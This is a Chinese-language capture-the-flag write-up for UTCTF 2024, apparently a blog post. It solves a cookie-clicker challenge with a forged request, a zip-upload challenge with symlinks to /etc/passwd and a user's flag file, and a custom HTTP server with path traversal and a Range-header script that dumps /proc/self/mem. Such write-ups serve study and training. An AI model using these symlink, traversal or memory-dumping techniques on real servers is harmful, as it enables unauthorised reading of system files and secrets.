UTCTF 2024 WP

UTCTF 2024

在这里插入图片描述

Beginner: Off-Brand Cookie Clicker

题目描述:

I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?

分数:100

步骤:

查看前端js代码,点击次数大于10000000就post请求click获取flag

在这里插入图片描述

直接构造post请求到betta.utctf.live:8138/click

在这里插入图片描述

获得结果

utflag{y0u_cl1ck_pr3tty_f4st}

Schrödinger

题目描述:Hey, my digital cat managed to get into my server and I can’t get him out.

The only thing running on the server is a website a colleague of mine made.

Can you find a way to use the website to check if my cat’s okay? He’ll likely be in the user’s home directory.

You’ll know he’s fine if you find a “flag.txt” file.

分数:355

解题步骤:

考察的应该是后端自动解压压缩包的软链接攻击。参考:CTFSHOW国赛复现-----Unzip(软连接利用)_国赛 unzip-CSDN博客

ln -s /etc/passwd test
zip --symlinks test.zip test

然后上传对应的test.zip文件到服务器,成功读取了/etc/passwd文件,其中可以看到copenhagen用户。

在这里插入图片描述

尝试构造一个软链接到/home/copenhagen/

a1andns@a1andns:~$ ln -s /home/copenhagen/flag.txt test2
a1andns@a1andns:~$ zip --symlinks test2.zip test2

在这里插入图片描述

上传后成功获得flag

utflag{No_Observable_Cats_Were_Harmed}

Home on the Range

题目描述:

I wrote a custom HTTP server to play with obscure HTTP headers.

Hint:

If it seems like something’s missing, that’s completely intentional; you should be able to figure out why it’s missing and where it currently is. You don’t need to do any brute force guessing to figure out what that missing thing is.

这个服务器可以进行目录遍历,所以跨目录尝试读取/etc/passwd,操作成功,发现一个range用户。

在这里插入图片描述

合理猜测web root是/home/range,尝试去读取目录下可能存在的main.py或server.py,发现是都不存在。那只能尝试看看py文件是不是在/目录下,发现果然在/目录下:

在这里插入图片描述

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading

with open("/setup/flag.txt") as f:
    the_flag = f.read()
os.remove("/setup/flag.txt")

def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
    boundary = randbytes(64).hex()
    for [first, last] in (ranges if ranges != [] else [[None, None]]):
        count = None
        if first is None:
            if last is None:
                first = 0
            else:
                first = file_len - last
                count = last
        elif last is not None:
            count = last - first + 1

        if (count is not None and count < 0) or first < 0:
            return False
        
        content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
        if len(ranges) > 1:
            write_bytes(b"\r\n--" + boundary.encode())
            if content_type:
                write_bytes(b"\r\nContent-Type: " + content_type.encode())
            write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
            write_bytes(b"\r\n\r\n")
        else:
            if content_type:
                write_header("Content-Type", content_type)
            if len(ranges) > 0:
                write_header("Content-Range", content_range_header)
        if not write_file_range(first, count):
            return False
    if len(ranges) > 1:
        write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
        write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
    elif len(ranges) == 0:
        write_header("Accept-Ranges", "bytes")
    return True


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        return self.try_serve_file(self.path[1:])

    def try_serve_file(self, f):
        if f == "":
            f = "."
        try:
            status_code = 200
            range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
            ranges = []
            if range_match:
                status_code = 206
                ranges = []
                for range in self.headers.get("range").split("=")[1].split(", "):
                    left, right = range.split("-")
                    new_range = [None, None]
                    if left:
                        new_range[0] = int(left)
                    if right:
                        new_range[1] = int(right)
                    if not left and not right:
                        # invalid
                        ranges = [[None, None]]
                        break
                    ranges.append(new_range)

            self.log_message("Serving %s ranges %s", f, repr(ranges))

            (content_type, _) = guess_type(f)

            with open(f, "rb") as io:
                file_length = os.stat(f).st_size

                headers = []
                chunks = []

                def check_file_chunk(first, count):
                    if count is None:
                        if first < 0:
                            return False
                        io.seek(first)
                        if io.read(1) == b"":
                            return False
                    else:
                        if count <= 0 or first < 0:
                            return False
                        io.seek(first + count - 1)
                        if io.read(1) == b"":
                            return False
                    chunks.append({"type": "file", "first": first, "count": count})
                    return True


                ok = process_range_request(ranges, content_type, file_length,
                                           lambda k, v: headers.append((k, v)),
                                           lambda b: chunks.append({"type": "bytes", "bytes": b}),
                                           check_file_chunk)
                if not ok:
                    self.send_response(416)
                    self.send_header("Content-Range", "bytes */" + str(file_length))
                    self.end_headers()
                    return
                
                content_length = 0
                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        content_length += len(chunk["bytes"])
                    elif chunk["type"] == "file":
                        content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]
                
                self.send_response(status_code)
                for (k, v) in headers:
                    self.send_header(k, v)
                self.send_header("Content-Length", str(content_length))
                self.end_headers()

                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        self.wfile.write(chunk["bytes"])
                    elif chunk["type"] == "file":
                        io.seek(chunk["first"])
                        count = chunk["count"]
                        buf_size = 1024 * 1024
                        while count is None or count > 0:
                            chunk = io.read(min(count if count is not None else buf_size, buf_size))
                            self.wfile.write(chunk)
                            if count is not None:
                                count -= len(chunk)
                            if len(chunk) == 0:
                                break
        except FileNotFoundError:
            print(f)
            self.send_error(404)
        except IsADirectoryError:
            if not f.endswith("/") and f != ".":
                self.send_response(303)
                self.send_header("Location", "/" + f + "/")
                self.end_headers()
            elif os.path.isfile(f + "/index.html"):
                return self.try_serve_file(f + "/index.html")
            else:
                dir_name = os.path.basename(os.path.abspath(f))
                if dir_name == "":
                    dir_name = "/"
                body = (
                    "<!DOCTYPE html><html><head><title>Directory listing of "
                        + escape(dir_name)
                        + "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
                        + "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
                        + "</ul></body></html>"
                    ).encode("utf-8")
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.end_headers()
                self.wfile.write(body)
                pass
        except OSError as e:
            self.send_error(500, None, e.strerror)

server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)

def exit_handler(signum, frame):
    sys.stderr.write("Received SIGTERM\n")

    # Needs to run in another thread to avoid blocking the main thread
    def shutdown_server():
        server.shutdown()
    shutdown_thread = threading.Thread(target=shutdown_server)
    shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)

sys.stderr.write("Server ready\n")
server.serve_forever()

with open("/setup/flag.txt", "w") as f:
    f.write(the_flag)

读取/setup/flag.txt,发现文件已经被删除了,相关数据只存在与内存之中。所以要读取相关数据就必须从/proc/self/men中入手。

关键在于range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))这表明http请求头中可以包含一个range头,格式应该为bytes=整数-整数, 整数-整数,指定读取的范围。

首先读取/proc/self/maps获取内存映射关系。

在这里插入图片描述

import requests

# 用requests无法获取到maps,所以手动先用burp存一份到本地
def getMap():
    f = open("maps", "r")
    lines = f.readlines()
    for i in lines:
        range = i.split(" ")[0].split("-")
        start = int(range[0], 16)
        end = int(range[1], 16)
        getMem(start, end)


def getMem(start, end):
    url = "http://guppy.utctf.live:7884/../../proc/self/mem"
    headers = {
        "Host": "guppy.utctf.live:7884",
        "Range": f"bytes={start}-{end}",
        "Connection": "close"
    }
    res = requests.get(url=url, headers=headers)
    print(res.content.decode(errors="ignore"))


if __name__ == "__main__":
    getMap()

通过把python的输出流(即/proc/self/mem)保存到output.txt中去,然后匹配flag。

在这里插入图片描述

utflag{do_u_want_a_piece_of_me}

Contract

使用Linux工具pdftohtml即可获得多张背景图片和带着flag的图片

在这里插入图片描述

Easy Merge v1.0

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

在这里插入图片描述

utflag{p0lluted_b4ckdoorz_and_m0r3}
  • 9
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值